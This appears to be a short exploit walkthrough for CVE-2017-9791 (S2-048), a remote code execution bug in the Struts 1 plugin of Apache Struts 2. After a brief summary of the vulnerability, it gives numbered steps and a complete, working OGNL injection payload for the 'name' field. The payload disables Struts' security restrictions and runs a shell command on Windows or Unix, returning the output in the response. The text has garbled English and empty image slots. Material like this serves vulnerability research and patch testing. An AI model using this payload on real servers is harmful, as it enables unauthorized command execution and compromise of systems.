CVE-2017-9791

July 7, 2017, Apache Struts released the latest security bulletin, Apache Structs2 strus1 plug-in there is a high-risk vulnerability in the implementation of the remote code, vulnerability number CVE-2017-9791 ( S2-048 ). Attackers can construct malicious field values through Struts2 Struts1 plugin, remote code execution.

Summary

Possible RCE in the Struts Showcase app in the Struts 1 plugin example in Struts 2.3.x series

Problem

It is possible to perform a RCE attack with a malicious field value when using the Struts 2 Struts 1 plugin and it’s a Struts 1 action and the value is a part of a message presented to the user, i.e. when using untrusted input as a part of the error message in the ActionMessage class.

Exploit

1. Find the struts1 intergeration in itegration

   

2. Open as follows:

   

3. Just fill in the submit and then capture request using BurpSuite

   

4. Modify the name value
   

   %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

    

   

    

You can use Exploit code here.